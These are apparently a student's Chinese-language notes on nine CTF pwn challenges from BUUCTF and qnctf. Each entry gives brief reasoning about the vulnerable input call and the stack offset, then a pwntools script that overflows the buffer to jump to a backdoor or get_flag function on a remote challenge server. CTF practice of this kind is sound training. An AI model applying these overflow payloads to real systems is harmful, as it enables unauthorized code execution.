1. `BUUCTF warmup_csaw_2016`
思路:首先,先查看该文件的位数(checksec name),发现为64位,则打开ida64.exe。
然后找到main函数(程序路口),再看如何获取flag与找注入点。发现注入点在gets(),获取flag的函数在
sub_40060D。该程序的栈共有128字符+8字符(防溢出字符),而输入是v5即从040开始输入,所以共有64+8字节,溢出的部分会被执行。
exp:
from pwn import *p=remote("node5.buuoj.cn",29448)
payload=b'a'*72+p64(0x40060D)
p.sendline(payload)
p.interactive()
```
2. `[BUUCTF ciscn_2019_n_1)`
思路:看主函数,没东西,只有func(),所以点击func()看此函数内容,发现注入点gets(),触发flag点,v2==11.281125。再通过变量,来看栈,总共44个字符+8个字符。输入是从0x30开始放字符的。v2在v5下面,所以要覆盖前44字符,使v2=11.28125,不过输入的时候,要把11.28125改为32位十六进制字节序列。
exp:
from pwn import *p=remote("node5.buuoj.cn",26581)
payload=b'a'*44+p32(0x41348000)
p.sendline(payload)
p.interactive()
3. `[BUUCTF pwn1_sctf_2016)`
```
思路:点main,发现vuin(),进去看,发现注入点fget(),限制32字符,flag获得函数,边框中get_flag。
输入s,长度小于32字符,s给input,下面为替换部分I->you,最后把结果又还给s。再看栈,从s变量开始,
利用栈位置为60字符+4字符。最后利用溢出会执行get_flag(),来构造。
exp:
from pwn import *p=remote("node5.buuoj.cn",29638)
payload=b'I'*20+b'a'*4+p64(0x8048F0D)
p.sendline(payload)
p.interactive()
4. `[BUUCTF bjdctf_2020_babystack)`
```
思路:进入main(),发现获取flag在backdoor函数,注入点在scanf和read。栈的位置为16个字符+8个字符。
exp:
from pwn import *p=remote("node5.buuoj.cn",27036)
payload=b'a'*24+p64(0x004006e6)
p.sendline(b'100')
p.sendline(payload)
p.interactive()
5. `[BUUCTF jarvisoj_level0)`
![[attachments/Pasted image 20250523180101.png]]
![[attachments/Pasted image 20250523175742.png]]
![[attachments/Pasted image 20250523175424.png]]
```
思路:进入main函数,进入vulnerable_function()函数,发现注入点,read()(读入512个字符到buf),
获取flag为callsystem。栈最多为128+8位字符。可构造栈溢出。
exp:
from pwn import *p=remote("node5.buuoj.cn",26754)
payload=b'a'*136+p64(0x00400596)
p.sendline(payload)
p.interactive()
6. `[BUUCTF ciscn_2019_n_8)`
思路:进入main,注入点为scanf,获取flag点为system('/bin/sh'),目标为赋值var[13]之后包括这个 为17。if条件1:*(_QWORD *)&var[13],后8字符不为0。if条件2,*(_QWORD *)&var[13] == 17LL,后8位字符的整形为17。
exp:
from pwn import *p=remote("node5.buuoj.cn",25844)
payload=b'a'*(13*4)+p64(0x11)
p.sendline(payload)
p.interactive()
7. `[BUUCTF get_started_3dsctf_2016)`
思路:进入main,发现注入点gets(),获取flag函数 get_flag()。需栈的位数,56+11位。同时要给get_flag()函数传入a1=814536271,a2=425138641。同时发现get_flag(),那没有退出函数,所以
还要传入 return 或exit().
exp:
from pwn import *p=remote("node5.buuoj.cn",25004)
payload=b'a'*56+p32(0x080489A0)+p32(0x0804E6A0)+p32(814536271)+p32(425138641)
p.sendline(payload)
p.interactive()
8. `借的东风破金锁qnctf`
源码:
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 buf[4]; // [rsp+10h] [rbp-20h] BYREFbuf[3] = __readfsqword(0x28u); //防溢出
init(argc, argv, envp);
puts("[+]Welcome to SQNUCTF !");
printf("[+] Input your key: ");
read(0, buf, 0x10uLL); //读入16位字符
if ( buf[0] == auth_code ) //相等 auth_code=53514E55435446
backdoor(); //得flag
else
puts("[-] Authentication failed!");
return 0;
}
思路:进入main,注入点read()(限制16位字符),获取flag,backdoor()函数。buf[0]为8个字符,要构造这8个字符为53514E55435446就可以了。
exp:
from pwn import *p=remote("challenge.qsnctf.com",31009)
payload=p64(0x53514E55435446)
p.sendline(payload)
p.interactive()
```
9.` 领取你的小猫娘qnctf`
源码:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[76]; // [rsp+0h] [rbp-50h] BYREF
int v5; // [rsp+4Ch] [rbp-4h]init(argc, argv, envp);
v5 = 0;
puts("[+]Welcome to SQNUCTF!");
sleep(1u);
puts("[+]Cat girl is super hungry now, she won't give a flag if she doesn't have anything to eat.");
puts("[+]hint:Virtual cat girl loves to eat characters");
gets(v4); //注入点
if ( v5 ) //v5不为0
{
backdoor(); //拿flag
}
else
{
puts("[*]I haven't eaten enough, you scoundrel.");
puts("[*]Hmph, I won't talk to you anymore!");
}
return 0;
}
思路:进入main(),发现注入点gets(),执行backdoor(),就能获得flag。看栈,v5在v4下面,只要溢出v5一点就行。76+1位
exp:
from pwn import *p=remote("challenge.qsnctf.com",30853)
payload=b'a'*77
p.sendline(payload)
p.interactive()